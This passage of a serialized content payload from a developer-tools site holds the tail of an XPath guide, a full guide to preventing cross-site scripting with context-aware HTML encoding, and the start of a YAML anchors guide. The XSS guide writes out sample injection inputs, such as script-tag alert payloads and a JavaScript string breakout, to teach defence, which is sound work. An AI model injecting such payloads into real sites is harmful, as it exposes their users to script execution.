30]",[199,230541,230542,230547,230550],{},[216,230543,230544],{},[143,230545,230546],{},"count()",[216,230548,230549],{},"Count node set",[216,230551,230552],{},[143,230553,230554],{},"count(\u002F\u002Fbook)",[199,230556,230557,230562,230565],{},[216,230558,230559],{},[143,230560,230561],{},"concat()",[216,230563,230564],{},"Join strings",[216,230566,230567],{},[143,230568,230569],{},"concat(title, ' by ', author)",[199,230571,230572,230577,230580],{},[216,230573,230574],{},[143,230575,230576],{},"name()",[216,230578,230579],{},"Node name",[216,230581,230582],{},[143,230583,230584],{},"name(\u002F\u002Fbook\u002F*)",[11,230586,230588],{"id":230587},"xpath-for-html-and-web-scraping","XPath for HTML and Web Scraping",[16,230590,230591,230592,230595],{},"Modern browsers support XPath on HTML via ",[143,230593,230594],{},"document.evaluate()",". This is particularly useful for web scraping and test automation when CSS selectors are insufficient.",[135,230597,230599],{"className":1607,"code":230598,"language":1609,"meta":141,"style":141},"\u002F\u002F Select the first \u003Ch2> inside an element with class \"article\"\nconst result = document.evaluate(\n  '\u002F\u002Fdiv[@class=\"article\"]\u002F\u002Fh2[1]',\n  document,\n  null,\n  XPathResult.FIRST_ORDERED_NODE_TYPE,\n  null\n);\nconst heading = result.singleNodeValue;\n",[143,230600,230601,230606,230621,230628,230633,230640,230650,230655,230659],{"__ignoreMap":141},[1560,230602,230603],{"class":1562,"line":1563},[1560,230604,230605],{"class":1649},"\u002F\u002F Select the first \u003Ch2> inside an element with class \"article\"\n",[1560,230607,230608,230610,230612,230614,230616,230619],{"class":1562,"line":337},[1560,230609,8180],{"class":1669},[1560,230611,80830],{"class":1576},[1560,230613,8186],{"class":1669},[1560,230615,11555],{"class":1570},[1560,230617,230618],{"class":1566},"evaluate",[1560,230620,35957],{"class":1570},[1560,230622,230623,230626],{"class":1562,"line":343},[1560,230624,230625],{"class":5634},"  '\u002F\u002Fdiv[@class=\"article\"]\u002F\u002Fh2[1]'",[1560,230627,11943],{"class":1570},[1560,230629,230630],{"class":1562,"line":365},[1560,230631,230632],{"class":1570},"  document,\n",[1560,230634,230635,230638],{"class":1562,"line":889},[1560,230636,230637],{"class":1576},"  null",[1560,230639,11943],{"class":1570},[1560,230641,230642,230645,230648],{"class":1562,"line":1710},[1560,230643,230644],{"class":1570},"  XPathResult.",[1560,230646,230647],{"class":1576},"FIRST_ORDERED_NODE_TYPE",[1560,230649,11943],{"class":1570},[1560,230651,230652],{"class":1562,"line":1717},[1560,230653,230654],{"class":1576},"  null\n",[1560,230656,230657],{"class":1562,"line":1747},[1560,230658,1744],{"class":1570},[1560,230660,230661,230663,230666,230668],{"class":1562,"line":2507},[1560,230662,8180],{"class":1669},[1560,230664,230665],{"class":1576}," heading",[1560,230667,8186],{"class":1669},[1560,230669,230670],{"class":1570}," result.singleNodeValue;\n",[33,230672,230674],{"id":230673},"when-xpath-beats-css-selectors","When XPath Beats CSS Selectors",[193,230676,230677,230688],{},[196,230678,230679],{},[199,230680,230681,230683,230686],{},[202,230682,748],{},[202,230684,230685],{},"CSS Selector",[202,230687,230121],{},[211,230689,230690,230703,230715,230730,230742],{},[199,230691,230692,230695,230698],{},[216,230693,230694],{},"Select by text content",[216,230696,230697],{},"Not possible",[216,230699,230700],{},[143,230701,230702],{},"\u002F\u002Fa[contains(., 'Login')]",[199,230704,230705,230708,230710],{},[216,230706,230707],{},"Select parent from child",[216,230709,230697],{},[216,230711,230712],{},[143,230713,230714],{},"\u002F\u002Fa[@href=\"\u002Flogin\"]\u002F..",[199,230716,230717,230720,230725],{},[216,230718,230719],{},"Select by partial attribute",[216,230721,230722],{},[143,230723,230724],{},"[attr*=\"val\"]",[216,230726,230727],{},[143,230728,230729],{},"[contains(@attr, 'val')]",[199,230731,230732,230735,230737],{},[216,230733,230734],{},"Select previous sibling",[216,230736,230697],{},[216,230738,230739],{},[143,230740,230741],{},"preceding-sibling::div[1]",[199,230743,230744,230747,230750],{},[216,230745,230746],{},"Select nth-from-last",[216,230748,230749],{},"Limited support",[216,230751,230752],{},[143,230753,230754],{},"div[last()-1]",[11,230756,230758],{"id":230757},"namespaces-and-xpath","Namespaces and XPath",[16,230760,230761],{},"When querying XML that uses namespaces, you must register namespace prefixes — even if the source document uses a default namespace:",[135,230763,230765],{"className":8259,"code":230764,"language":8261,"meta":141,"style":141},"from lxml import etree\n\ntree = etree.parse('catalog.xml')\nns = {'bk': 'http:\u002F\u002Fexample.com\u002Fbook'}\n\n# This works:\ntitles = tree.xpath('\u002F\u002Fbk:title', namespaces=ns)\n\n# This returns nothing:\ntitles = tree.xpath('\u002F\u002Ftitle')  # matches name in no namespace\n",[143,230766,230767,230771,230775,230780,230785,230789,230794,230799,230803,230808],{"__ignoreMap":141},[1560,230768,230769],{"class":1562,"line":1563},[1560,230770,228952],{},[1560,230772,230773],{"class":1562,"line":337},[1560,230774,1702],{"emptyLinePlaceholder":363},[1560,230776,230777],{"class":1562,"line":343},[1560,230778,230779],{},"tree = etree.parse('catalog.xml')\n",[1560,230781,230782],{"class":1562,"line":365},[1560,230783,230784],{},"ns = {'bk': 'http:\u002F\u002Fexample.com\u002Fbook'}\n",[1560,230786,230787],{"class":1562,"line":889},[1560,230788,1702],{"emptyLinePlaceholder":363},[1560,230790,230791],{"class":1562,"line":1710},[1560,230792,230793],{},"# This works:\n",[1560,230795,230796],{"class":1562,"line":1717},[1560,230797,230798],{},"titles = tree.xpath('\u002F\u002Fbk:title', namespaces=ns)\n",[1560,230800,230801],{"class":1562,"line":1747},[1560,230802,1702],{"emptyLinePlaceholder":363},[1560,230804,230805],{"class":1562,"line":2507},[1560,230806,230807],{},"# This returns nothing:\n",[1560,230809,230810],{"class":1562,"line":2524},[1560,230811,230812],{},"titles = tree.xpath('\u002F\u002Ftitle')  # matches name in no namespace\n",[11,230814,1355],{"id":1354},[41,230816,230817,230825,230831,230839,230842,230845],{},[44,230818,230819,230821,230822,230824],{},[143,230820,9423],{}," navigates from root; ",[143,230823,134512],{}," selects anywhere in the document hierarchy.",[44,230826,230827,230828,230830],{},"Predicates in ",[143,230829,103232],{}," filter by position, attribute values, or child element content.",[44,230832,230833,230834,1856,230836,230838],{},"Axes like ",[143,230835,230341],{},[143,230837,230294],{}," enable navigation CSS selectors cannot do.",[44,230840,230841],{},"Built-in functions handle string matching, numeric comparison, and node counting.",[44,230843,230844],{},"For namespace-aware XML, always register prefixes and use them in your XPath expressions.",[44,230846,230847],{},"XPath excels over CSS selectors for selecting by text content, parent traversal, and sibling navigation.",[11,230849,286],{"id":285},[16,230851,230852,230853,230855],{},"Working with XML and need to inspect document structure? Paste your XML into the ",[98,230854,85485],{"href":85585}," to get clean, indented output that makes it easy to identify the correct XPath expressions for your queries.",[2043,230857,195883],{},{"title":141,"searchDepth":337,"depth":337,"links":230859},[230860,230863,230868,230871,230872,230875,230876,230877],{"id":229928,"depth":337,"text":229929,"children":230861},[230862],{"id":230018,"depth":343,"text":230019},{"id":230101,"depth":337,"text":230102,"children":230864},[230865,230866,230867],{"id":230111,"depth":343,"text":230112},{"id":230158,"depth":343,"text":230159},{"id":230204,"depth":343,"text":230205},{"id":230250,"depth":337,"text":230251,"children":230869},[230870],{"id":230384,"depth":343,"text":230385},{"id":230433,"depth":337,"text":230434},{"id":230587,"depth":337,"text":230588,"children":230873},[230874],{"id":230673,"depth":343,"text":230674},{"id":230757,"depth":337,"text":230758},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"Navigate and query XML documents using XPath expressions with practical examples.",{"immutable":363},"\u002Fguides\u002Fxpath-selectors-guide",{"title":229920,"description":230878},"guides\u002Fxpath-selectors-guide","-bqE4PgNA60lj9IsHp2ruevnx-sprbIH3fVKPl6ZWbo",{"id":230885,"title":230886,"body":230887,"date":2070,"description":231550,"extension":361,"meta":231551,"navigation":363,"path":231552,"readingTime":1717,"seo":231553,"stem":231554,"__hash__":231555},"guides\u002Fguides\u002Fxss-prevention-html-encoding.md","XSS Prevention with HTML Encoding",{"type":8,"value":230888,"toc":231528},[230889,230893,230896,230899,230903,230906,230912,230915,230926,230930,230933,230937,230970,230974,231034,231037,231041,231108,231111,231146,231150,231180,231186,231190,231219,231223,231302,231305,231309,231312,231316,231319,231325,231329,231332,231336,231343,231347,231350,231419,231427,231431,231471,231473,231501,231503,231517,231519,231525],[11,230890,230892],{"id":230891},"what-is-xss","What Is XSS?",[16,230894,230895],{},"Cross-site scripting (XSS) happens when an application includes untrusted data in a web page without proper escaping. An attacker injects a script into a page viewed by other users, stealing cookies, hijacking sessions, or performing actions on behalf of the victim.",[16,230897,230898],{},"XSS consistently ranks among the OWASP Top 10. It is not a server vulnerability — it is an output vulnerability. The problem occurs at the moment data leaves your application and enters the browser.",[11,230900,230902],{"id":230901},"how-html-encoding-stops-xss","How HTML Encoding Stops XSS",[16,230904,230905],{},"HTML encoding converts characters that have structural meaning in HTML into safe entity references:",[135,230907,230910],{"className":230908,"code":230909,"language":140},[138],"\u003Cscript>alert('xss')\u003C\u002Fscript>\n→ &lt;script&gt;alert(&#39;xss&#39;)&lt;\u002Fscript&gt;\n",[143,230911,230909],{"__ignoreMap":141},[16,230913,230914],{},"The browser now renders the encoded characters as visible text instead of interpreting them as markup. The script never executes.",[16,230916,230917,230918,230920,230921,28833,230923,230925],{},"This works because entity resolution happens ",[7310,230919,12137],{}," the browser builds DOM nodes. Once ",[143,230922,6431],{},[143,230924,116644],{},", it can never retroactively become a tag opener.",[11,230927,230929],{"id":230928},"context-matters-one-encoding-does-not-fit-all","Context Matters: One Encoding Does Not Fit All",[16,230931,230932],{},"HTML entity encoding only protects you inside HTML text content and quoted attribute values. It fails in every other context.",[33,230934,230936],{"id":230935},"html-text-content-safe-with-entity-encoding","HTML text content — safe with entity encoding",[135,230938,230940],{"className":6417,"code":230939,"language":6419,"meta":141,"style":141},"\u003Cp>Hello, {{ username }}\u003C\u002Fp>\n\u003C!-- If username = \"\u003Cscript>alert(1)\u003C\u002Fscript>\" -->\n\u003C!-- After encoding: \u003Cp>Hello, &lt;script&gt;alert(1)&lt;\u002Fscript&gt;\u003C\u002Fp> -->\n\u003C!-- Renders as text. Safe. -->\n",[143,230941,230942,230955,230960,230965],{"__ignoreMap":141},[1560,230943,230944,230946,230948,230951,230953],{"class":1562,"line":1563},[1560,230945,6431],{"class":1570},[1560,230947,16],{"class":2484},[1560,230949,230950],{"class":1570},">Hello, {{ username }}\u003C\u002F",[1560,230952,16],{"class":2484},[1560,230954,6441],{"class":1570},[1560,230956,230957],{"class":1562,"line":337},[1560,230958,230959],{"class":1649},"\u003C!-- If username = \"\u003Cscript>alert(1)\u003C\u002Fscript>\" -->\n",[1560,230961,230962],{"class":1562,"line":343},[1560,230963,230964],{"class":1649},"\u003C!-- After encoding: \u003Cp>Hello, &lt;script&gt;alert(1)&lt;\u002Fscript&gt;\u003C\u002Fp> -->\n",[1560,230966,230967],{"class":1562,"line":365},[1560,230968,230969],{"class":1649},"\u003C!-- Renders as text. Safe. -->\n",[33,230971,230973],{"id":230972},"html-attribute-values-safe-only-when-quoted","HTML attribute values — safe only when quoted",[135,230975,230977],{"className":6417,"code":230976,"language":6419,"meta":141,"style":141},"\u003C!-- SAFE: quoted attribute -->\n\u003Cinput value=\"{{ encoded_data }}\">\n\n\u003C!-- DANGEROUS: unquoted attribute -->\n\u003Cinput value={{ encoded_data }}>\n\u003C!-- A space in the data breaks out of the value -->\n",[143,230978,230979,230984,230999,231003,231008,231029],{"__ignoreMap":141},[1560,230980,230981],{"class":1562,"line":1563},[1560,230982,230983],{"class":1649},"\u003C!-- SAFE: quoted attribute -->\n",[1560,230985,230986,230988,230990,230992,230994,230997],{"class":1562,"line":337},[1560,230987,6431],{"class":1570},[1560,230989,4470],{"class":2484},[1560,230991,174946],{"class":1566},[1560,230993,7297],{"class":1570},[1560,230995,230996],{"class":5634},"\"{{ encoded_data }}\"",[1560,230998,6441],{"class":1570},[1560,231000,231001],{"class":1562,"line":343},[1560,231002,1702],{"emptyLinePlaceholder":363},[1560,231004,231005],{"class":1562,"line":365},[1560,231006,231007],{"class":1649},"\u003C!-- DANGEROUS: unquoted attribute -->\n",[1560,231009,231010,231012,231014,231016,231018,231021,231024,231027],{"class":1562,"line":889},[1560,231011,6431],{"class":1570},[1560,231013,4470],{"class":2484},[1560,231015,174946],{"class":1566},[1560,231017,7297],{"class":1570},[1560,231019,231020],{"class":5634},"{{",[1560,231022,231023],{"class":1566}," encoded_data",[1560,231025,231026],{"class":1566}," }}",[1560,231028,6441],{"class":1570},[1560,231030,231031],{"class":1562,"line":1710},[1560,231032,231033],{"class":1649},"\u003C!-- A space in the data breaks out of the value -->\n",[16,231035,231036],{},"Always quote your attributes. Entity encoding inside unquoted attributes is not reliable protection.",[33,231038,231040],{"id":231039},"javascript-context-entity-encoding-does-not-work","JavaScript context — entity encoding does NOT work",[135,231042,231044],{"className":6417,"code":231043,"language":6419,"meta":141,"style":141},"\u003C!-- DANGEROUS: entity encoding inside script tags -->\n\u003Cscript>\n  var name = \"{{ encoded_data }}\";\n  \u003C!-- encoded_data = \"'; alert(1); \u002F\u002F\" -->\n  \u003C!-- After encoding, the semicolons and quotes remain valid JS -->\n\u003C\u002Fscript>\n",[143,231045,231046,231051,231059,231072,231088,231100],{"__ignoreMap":141},[1560,231047,231048],{"class":1562,"line":1563},[1560,231049,231050],{"class":1649},"\u003C!-- DANGEROUS: entity encoding inside script tags -->\n",[1560,231052,231053,231055,231057],{"class":1562,"line":337},[1560,231054,6431],{"class":1570},[1560,231056,11475],{"class":2484},[1560,231058,6441],{"class":1570},[1560,231060,231061,231063,231065,231067,231070],{"class":1562,"line":343},[1560,231062,118651],{"class":1669},[1560,231064,118654],{"class":1570},[1560,231066,7297],{"class":1669},[1560,231068,231069],{"class":5634}," \"{{ encoded_data }}\"",[1560,231071,2228],{"class":1570},[1560,231073,231074,231077,231080,231082,231085],{"class":1562,"line":365},[1560,231075,231076],{"class":1669},"  \u003C!--",[1560,231078,231079],{"class":1570}," encoded_data ",[1560,231081,7297],{"class":1669},[1560,231083,231084],{"class":5634}," \"'; alert(1); \u002F\u002F\"",[1560,231086,231087],{"class":1669}," -->\n",[1560,231089,231090,231092,231095,231098],{"class":1562,"line":889},[1560,231091,231076],{"class":1669},[1560,231093,231094],{"class":1570}," After encoding, the semicolons and quotes remain valid ",[1560,231096,231097],{"class":1576},"JS",[1560,231099,231087],{"class":1669},[1560,231101,231102,231104,231106],{"class":1562,"line":1710},[1560,231103,11242],{"class":1570},[1560,231105,11475],{"class":2484},[1560,231107,6441],{"class":1570},[16,231109,231110],{},"For JavaScript output contexts, use JSON serialization with proper Unicode escaping:",[135,231112,231114],{"className":1607,"code":231113,"language":1609,"meta":141,"style":141},"\u002F\u002F Correct: use JSON.stringify for JS context\nvar name = \u003C%= JSON.stringify(userInput) %>;\n",[143,231115,231116,231121],{"__ignoreMap":141},[1560,231117,231118],{"class":1562,"line":1563},[1560,231119,231120],{"class":1649},"\u002F\u002F Correct: use JSON.stringify for JS context\n",[1560,231122,231123,231125,231127,231129,231132,231134,231136,231138,231141,231144],{"class":1562,"line":337},[1560,231124,2497],{"class":1669},[1560,231126,118654],{"class":1570},[1560,231128,7297],{"class":1669},[1560,231130,231131],{"class":1669}," \u003C%=",[1560,231133,89946],{"class":1576},[1560,231135,468],{"class":1570},[1560,231137,82298],{"class":1566},[1560,231139,231140],{"class":1570},"(userInput) ",[1560,231142,231143],{"class":1669},"%>",[1560,231145,2228],{"class":1570},[33,231147,231149],{"id":231148},"css-context-entity-encoding-does-not-work","CSS context — entity encoding does NOT work",[135,231151,231153],{"className":6417,"code":231152,"language":6419,"meta":141,"style":141},"\u003C!-- DANGEROUS -->\n\u003Cdiv style=\"background: url({{ encoded_data }})\">\n\u003C!-- An attacker can inject expression() or url() payloads -->\n",[143,231154,231155,231160,231175],{"__ignoreMap":141},[1560,231156,231157],{"class":1562,"line":1563},[1560,231158,231159],{"class":1649},"\u003C!-- DANGEROUS -->\n",[1560,231161,231162,231164,231166,231168,231170,231173],{"class":1562,"line":337},[1560,231163,6431],{"class":1570},[1560,231165,7291],{"class":2484},[1560,231167,11449],{"class":1566},[1560,231169,7297],{"class":1570},[1560,231171,231172],{"class":5634},"\"background: url({{ encoded_data }})\"",[1560,231174,6441],{"class":1570},[1560,231176,231177],{"class":1562,"line":343},[1560,231178,231179],{"class":1649},"\u003C!-- An attacker can inject expression() or url() payloads -->\n",[16,231181,231182,231183,231185],{},"Never put user data in CSS ",[143,231184,2043],{}," attributes. Use CSS classes instead.",[33,231187,231189],{"id":231188},"url-context-use-url-encoding-not-html-encoding","URL context — use URL encoding, not HTML encoding",[135,231191,231193],{"className":6417,"code":231192,"language":6419,"meta":141,"style":141},"\u003C!-- CORRECT: URL-encode data values -->\n\u003Ca href=\"\u002Fsearch?q={{ url_encoded_data }}\">Search\u003C\u002Fa>\n",[143,231194,231195,231200],{"__ignoreMap":141},[1560,231196,231197],{"class":1562,"line":1563},[1560,231198,231199],{"class":1649},"\u003C!-- CORRECT: URL-encode data values -->\n",[1560,231201,231202,231204,231206,231208,231210,231213,231215,231217],{"class":1562,"line":337},[1560,231203,6431],{"class":1570},[1560,231205,98],{"class":2484},[1560,231207,41004],{"class":1566},[1560,231209,7297],{"class":1570},[1560,231211,231212],{"class":5634},"\"\u002Fsearch?q={{ url_encoded_data }}\"",[1560,231214,119469],{"class":1570},[1560,231216,98],{"class":2484},[1560,231218,6441],{"class":1570},[11,231220,231222],{"id":231221},"the-five-output-contexts","The Five Output Contexts",[193,231224,231225,231236],{},[196,231226,231227],{},[199,231228,231229,231231,231234],{},[202,231230,2973],{},[202,231232,231233],{},"Required Escaping",[202,231235,133],{},[211,231237,231238,231251,231263,231275,231287],{},[199,231239,231240,231243,231246],{},[216,231241,231242],{},"HTML text",[216,231244,231245],{},"HTML entity encoding",[216,231247,231248],{},[143,231249,231250],{},"\u003Cp>{{ encoded }}\u003C\u002Fp>",[199,231252,231253,231256,231258],{},[216,231254,231255],{},"HTML attribute (quoted)",[216,231257,231245],{},[216,231259,231260],{},[143,231261,231262],{},"\u003Cinput value=\"{{ encoded }}\">",[199,231264,231265,231267,231270],{},[216,231266,9860],{},[216,231268,231269],{},"JSON serialization + Unicode escape",[216,231271,231272],{},[143,231273,231274],{},"var x = \u003C%= JSON.stringify(data) %>",[199,231276,231277,231279,231282],{},[216,231278,104808],{},[216,231280,231281],{},"Avoid user data entirely; use classes",[216,231283,231284],{},[143,231285,231286],{},"\u003Cdiv class=\"{{ encoded_class }}\">",[199,231288,231289,231292,231297],{},[216,231290,231291],{},"URL parameter",[216,231293,231294,231295,1525],{},"URL encoding (",[143,231296,33827],{},[216,231298,231299],{},[143,231300,231301],{},"href=\"\u002Fpage?q={{ url_encoded }}\"",[16,231303,231304],{},"If you encode for the wrong context, you have a vulnerability regardless of how thoroughly you encoded.",[11,231306,231308],{"id":231307},"defense-in-depth","Defense in Depth",[16,231310,231311],{},"HTML encoding is your primary defense, but it should not be the only one.",[33,231313,231315],{"id":231314},"content-security-policy-csp","Content Security Policy (CSP)",[16,231317,231318],{},"A CSP header tells the browser which scripts can execute. Even if an XSS payload slips through, a strict CSP blocks inline scripts:",[135,231320,231323],{"className":231321,"code":231322,"language":140},[138],"Content-Security-Policy: default-src 'self'; script-src 'self'\n",[143,231324,231322],{"__ignoreMap":141},[33,231326,231328],{"id":231327},"input-validation","Input validation",[16,231330,231331],{},"Validate and sanitize input before storing it. Reject unexpected characters early. Encoding is your output defense; validation is your input defense.",[33,231333,231335],{"id":231334},"http-only-cookies","HTTP-only cookies",[16,231337,231338,231339,231342],{},"Mark session cookies as ",[143,231340,231341],{},"HttpOnly"," so JavaScript cannot read them. If an XSS attack executes, the attacker cannot steal the session token.",[33,231344,231346],{"id":231345},"framework-auto-escaping","Framework auto-escaping",[16,231348,231349],{},"Modern frameworks escape by default:",[193,231351,231352,231364],{},[196,231353,231354],{},[199,231355,231356,231358,231361],{},[202,231357,125679],{},[202,231359,231360],{},"Auto-escaping mechanism",[202,231362,231363],{},"Raw output syntax",[211,231365,231366,231380,231391,231404],{},[199,231367,231368,231370,231375],{},[216,231369,116778],{},[216,231371,231372,231374],{},[143,231373,116782],{}," interpolations",[216,231376,231377,231379],{},[143,231378,117323],{}," directive",[199,231381,231382,231384,231387],{},[216,231383,116856],{},[216,231385,231386],{},"JSX expressions",[216,231388,231389],{},[143,231390,117326],{},[199,231392,231393,231395,231398],{},[216,231394,164751],{},[216,231396,231397],{},"Template bindings",[216,231399,231400,231403],{},[143,231401,231402],{},"[innerHTML]"," binding",[199,231405,231406,231409,231414],{},[216,231407,231408],{},"Svelte",[216,231410,231411,231413],{},[143,231412,191384],{}," expressions",[216,231415,231416,119896],{},[143,231417,231418],{},"{@html}",[16,231420,231421,231422,1531,231424,231426],{},"Use raw output directives only when you explicitly trust the content. Every ",[143,231423,117323],{},[143,231425,117326],{}," is a potential XSS vector.",[11,231428,231430],{"id":231429},"common-xss-encoding-mistakes","Common XSS Encoding Mistakes",[41,231432,231433,231439,231448,231454,231465],{},[44,231434,231435,231438],{},[47,231436,231437],{},"Encoding once then decoding"," — if your pipeline decodes the data after encoding, the protection disappears",[44,231440,231441,231444,231445,231447],{},[47,231442,231443],{},"Using the wrong encoding for the context"," — HTML entity encoding inside a ",[143,231446,34727],{}," block does nothing",[44,231449,231450,231453],{},[47,231451,231452],{},"Trusting sanitized HTML"," — HTML sanitization libraries have bypasses; combine with CSP",[44,231455,231456,23567,231459,1459,231462,231464],{},[47,231457,231458],{},"Forgetting event handler attributes",[143,231460,231461],{},"onclick",[143,231463,146849],{},", and similar attributes execute JavaScript; entity encoding inside them does not prevent execution",[44,231466,231467,231470],{},[47,231468,231469],{},"Assuming your framework handles everything"," — framework auto-escaping only covers template interpolations, not dynamic CSS or URL construction",[11,231472,1355],{"id":1354},[41,231474,231475,231478,231481,231487,231490,231493],{},[44,231476,231477],{},"HTML entity encoding prevents XSS in HTML text content and quoted attributes only",[44,231479,231480],{},"You must match the encoding to the output context — HTML, JS, CSS, and URL each need different escaping",[44,231482,231483,231484,231486],{},"Never put user data in ",[143,231485,34727],{}," blocks using entity encoding; use JSON serialization instead",[44,231488,231489],{},"Defense in depth: combine encoding with CSP, input validation, and HttpOnly cookies",[44,231491,231492],{},"Use your framework's auto-escaping; avoid raw output directives unless you fully trust the content",[44,231494,231495,231496,1459,231498,231500],{},"Event handler attributes (",[143,231497,231461],{},[143,231499,146849],{},") remain dangerous even with entity encoding",[11,231502,321],{"id":320},[41,231504,231505,231509,231513],{},[44,231506,231507],{},[98,231508,118208],{"href":118207},[44,231510,231511],{},[98,231512,118214],{"href":118213},[44,231514,231515],{},[98,231516,119078],{"href":119077},[11,231518,286],{"id":285},[16,231520,231521,231522,231524],{},"Encode user-supplied data safely with our free ",[98,231523,118228],{"href":116496},". Paste any string and get properly entity-encoded output — verify your escaping before you ship.",[2043,231526,231527],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}",{"title":141,"searchDepth":337,"depth":337,"links":231529},[231530,231531,231532,231539,231540,231546,231547,231548,231549],{"id":230891,"depth":337,"text":230892},{"id":230901,"depth":337,"text":230902},{"id":230928,"depth":337,"text":230929,"children":231533},[231534,231535,231536,231537,231538],{"id":230935,"depth":343,"text":230936},{"id":230972,"depth":343,"text":230973},{"id":231039,"depth":343,"text":231040},{"id":231148,"depth":343,"text":231149},{"id":231188,"depth":343,"text":231189},{"id":231221,"depth":337,"text":231222},{"id":231307,"depth":337,"text":231308,"children":231541},[231542,231543,231544,231545],{"id":231314,"depth":343,"text":231315},{"id":231327,"depth":343,"text":231328},{"id":231334,"depth":343,"text":231335},{"id":231345,"depth":343,"text":231346},{"id":231429,"depth":337,"text":231430},{"id":1354,"depth":337,"text":1355},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"How HTML entity encoding stops cross-site scripting attacks — context-aware escaping, common mistakes, and defense-in-depth strategies.",{"immutable":363},"\u002Fguides\u002Fxss-prevention-html-encoding",{"title":230886,"description":231550},"guides\u002Fxss-prevention-html-encoding","mMZDfDI-JNq1L2rVYq2tgQpLag6PSApqKuzTSNR-fjk",{"id":231557,"title":231558,"body":231559,"date":2070,"description":232662,"extension":361,"meta":232663,"navigation":363,"path":232664,"readingTime":1710,"seo":232665,"stem":232666,"__hash__":232667},"guides\u002Fguides\u002Fyaml-anchors-aliases-explained.md","YAML Anchors and Aliases Explained: DRY Configuration",{"type":8,"value":231560,"toc":232640},[231561,231565,231568,231571,231575,231580,231620,231628,231632,231637,231744,231753,231759,231765,231813,231816,231865,231869,231872,231981,231984,231988,231991,231995,232060,232067,232071,232135,232138,232142,232146,232284,232287,232370,232374,232517,232523,232525,232577,232579,232613,232615,232629,232631,232637],[11,231562,231564],{"id":231563},"the-repetition-problem-in-yaml","The Repetition Problem in YAML",[16,231566,231567],{},"Configuration files often contain repeated blocks — the same database credentials across environments, identical build steps for multiple jobs, or shared container settings across services. Copy-pasting these blocks works until one value changes and you forget to update the other three copies.",[16,231569,231570],{},"YAML anchors and aliases solve this by letting you define a block once and reference it elsewhere. Changes propagate to every reference automatically.",[11,231572,231574],{"id":231573},"anchors-define-a-reusable-block","Anchors: Define a Reusable Block",[16,231576,231577,231578,8037],{},"An anchor marks a node with a name using ",[143,231579,13530],{},[135,231581,231583],{"className":37227,"code":231582,"language":37229,"meta":141,"style":141},"defaults: &defaults\n  timeout: 30\n  retries: 3\n  log_level: info\n",[143,231584,231585,231595,231603,231611],{"__ignoreMap":141},[1560,231586,231587,231589,231591,231593],{"class":1562,"line":1563},[1560,231588,137767],{"class":2484},[1560,231590,1663],{"class":1570},[1560,231592,13530],{"class":1669},[1560,231594,137774],{"class":1566},[1560,231596,231597,231599,231601],{"class":1562,"line":337},[1560,231598,137779],{"class":2484},[1560,231600,1663],{"class":1570},[1560,231602,137784],{"class":1576},[1560,231604,231605,231607,231609],{"class":1562,"line":343},[1560,231606,137789],{"class":2484},[1560,231608,1663],{"class":1570},[1560,231610,137794],{"class":1576},[1560,231612,231613,231616,231618],{"class":1562,"line":365},[1560,231614,231615],{"class":2484},"  log_level",[1560,231617,1663],{"class":1570},[1560,231619,137647],{"class":5634},[16,231621,421,231622,231624,231625,231627],{},[143,231623,137877],{}," anchor attaches the name ",[143,231626,137767],{}," to that mapping. The node still appears in the final data — anchoring doesn't remove it.",[11,231629,231631],{"id":231630},"aliases-reference-an-anchored-block","Aliases: Reference an Anchored Block",[16,231633,231634,231635,8037],{},"An alias references an anchored node using ",[143,231636,8069],{},[135,231638,231640],{"className":37227,"code":231639,"language":37229,"meta":141,"style":141},"defaults: &defaults\n  timeout: 30\n  retries: 3\n  log_level: info\n\nproduction:\n  \u003C\u003C: *defaults\n  log_level: warning\n  database: prod-db\n\nstaging:\n  \u003C\u003C: *defaults\n  database: staging-db\n",[143,231641,231642,231652,231660,231668,231676,231680,231686,231696,231705,231715,231719,231725,231735],{"__ignoreMap":141},[1560,231643,231644,231646,231648,231650],{"class":1562,"line":1563},[1560,231645,137767],{"class":2484},[1560,231647,1663],{"class":1570},[1560,231649,13530],{"class":1669},[1560,231651,137774],{"class":1566},[1560,231653,231654,231656,231658],{"class":1562,"line":337},[1560,231655,137779],{"class":2484},[1560,231657,1663],{"class":1570},[1560,231659,137784],{"class":1576},[1560,231661,231662,231664,231666],{"class":1562,"line":343},[1560,231663,137789],{"class":2484},[1560,231665,1663],{"class":1570},[1560,231667,137794],{"class":1576},[1560,231669,231670,231672,231674],{"class":1562,"line":365},[1560,231671,231615],{"class":2484},[1560,231673,1663],{"class":1570},[1560,231675,137647],{"class":5634},[1560,231677,231678],{"class":1562,"line":889},[1560,231679,1702],{"emptyLinePlaceholder":363},[1560,231681,231682,231684],{"class":1562,"line":1710},[1560,231683,137812],{"class":2484},[1560,231685,19182],{"class":1570},[1560,231687,231688,231690,231692,231694],{"class":1562,"line":1717},[1560,231689,137819],{"class":1576},[1560,231691,1663],{"class":1570},[1560,231693,8069],{"class":1669},[1560,231695,137774],{"class":1570},[1560,231697,231698,231700,231702],{"class":1562,"line":1747},[1560,231699,231615],{"class":2484},[1560,231701,1663],{"class":1570},[1560,231703,231704],{"class":5634},"warning\n",[1560,231706,231707,231710,231712